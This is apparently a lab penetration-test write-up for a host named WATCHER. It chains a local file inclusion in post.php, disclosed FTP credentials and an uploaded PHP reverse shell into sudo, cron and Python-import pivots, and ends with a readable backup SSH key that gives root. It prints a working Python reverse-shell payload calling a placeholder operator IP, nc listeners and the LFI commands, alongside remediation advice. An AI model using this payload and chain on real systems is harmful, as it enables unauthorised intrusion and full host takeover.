Case file

LFI to FTP write, cron pivots, and adm backup SSH key

Intermediate Linux engagement: robots and LFI exposed FTP credentials; writable FTP plus LFI yielded RCE; sudo, cron, and Python import hijacks moved laterally; an adm-readable backup key completed root over SSH.

Intermediate32 minLinux · LFI · FTP · Privilege Escalation
  • HTTP LFI and anonymous-style FTP write chained into a www-data shell. Four privilege boundaries fell to sudo, cron, Python import abuse, and a base64 SSH key readable by the adm group.

  • robots.txt pointed at an early artifact. post.php?post= read /etc/passwd and a secret file that held FTP credentials.

  • Authenticated FTP accepted a PHP reverse shell under files/. Including that path via post.php returned a www-data shell.

  • sudo -u toby opened the next home. Writable cow.sh ran as mat via cron. will_script.py imported attacker-writable cmd.py under sudo -u will.

  • will was in adm. /opt/backups/key.b64 decoded to a root SSH private key.

01

Engagement summary

HTTP LFI and anonymous-style FTP write chained into a www-data shell. Four privilege boundaries fell to sudo, cron, Python import abuse, and a base64 SSH key readable by the adm group.

Against host WATCHER, post.php accepted a post parameter that read arbitrary files. That LFI disclosed FTP credentials (ftpuser / givemefiles777). Uploading a PHP shell into the FTP files directory and including it via LFI produced a reverse shell as www-data. From there we sudo’d to toby, overwrote a cron-executed cow.sh to land as mat, hijacked a Python module imported under sudo as will, then decoded /opt/backups/key.b64 (group adm) into a root SSH key.

Business impact

File-inclusion plus writable FTP is remote code execution. Cron scripts owned by lower-privilege users, sudo that imports attacker-writable Python modules, and backup SSH keys readable by shared groups turn a single web bug into full host compromise. Remediate LFI, lock FTP uploads outside the include path, harden cron ownership, and store private keys with root-only permissions.

02

Recon and local file inclusion

robots.txt pointed at an early artifact. post.php?post= read /etc/passwd and a secret file that held FTP credentials.

OPERATOR · NMAP

savvy@lab:~$ nmap -sSCV 10.10.140.88

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd

22/tcp open ssh OpenSSH

80/tcp open http Apache httpd

OPERATOR · LFI

savvy@lab:~$ curl -s http://10.10.140.88/robots.txt

flag_1.txt

savvy@lab:~$ curl -s 'http://10.10.140.88/post.php?post=/etc/passwd'

ftpuser:x:1001:1001::/home/ftpuser:/bin/bash

savvy@lab:~$ curl -s 'http://10.10.140.88/post.php?post=secret_file_do_not_read.txt'

ftpuser:givemefiles777

03

FTP upload and LFI to RCE

Authenticated FTP accepted a PHP reverse shell under files/. Including that path via post.php returned a www-data shell.

OPERATOR · FTP

savvy@lab:~$ ftp 10.10.140.88

Name: ftpuser

Password: givemefiles777

ftp> cd files

ftp> put rev.php

ftp> bye

savvy@lab:~$ nc -lvnp 4444

# trigger: curl '...?post=/home/ftpuser/ftp/files/rev.php'

savvy@lab:/var/www/html$

04

Sudo, cron, and Python import pivots

sudo -u toby opened the next home. Writable cow.sh ran as mat via cron. will_script.py imported attacker-writable cmd.py under sudo -u will.

OPERATOR · TOBY / MAT

savvy@lab:~$ sudo -l

(toby) NOPASSWD: /bin/bash

savvy@lab:~$ sudo -u toby /bin/bash

# overwrite /home/toby/jobs/cow.sh with reverse shell; cron runs as mat

savvy@lab:~$ nc -lvnp 5555

savvy@lab:/home/mat$

OPERATOR · PYTHON HIJACK

savvy@lab:~$ sudo -l

(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

# replace /home/mat/scripts/cmd.py (imported by will_script.py)

savvy@lab:~$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1

savvy@lab:/home/will$

PAYLOAD

cmd.py

import socket,os,pty
s=socket.socket();s.connect(("OPERATOR_IP",6666))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/bash")
05

adm group backup key to root

will was in adm. /opt/backups/key.b64 decoded to a root SSH private key.

OPERATOR · ROOT KEY

savvy@lab:~$ find / -type f -group adm 2>/dev/null

/opt/backups/key.b64

savvy@lab:~$ base64 -d /opt/backups/key.b64 > ssh.key && chmod 600 ssh.key

savvy@lab:~$ ssh -i ssh.key root@10.10.140.88

root@lab:~# id

uid=0(root) gid=0(root) groups=0(root)

Remediation

Reject path traversal in post.php; store FTP uploads outside any includeable tree; ensure cron jobs are not writable by the invoking user; never sudo Python scripts that import modules from writable directories; encrypt and restrict backup private keys to root:root 600.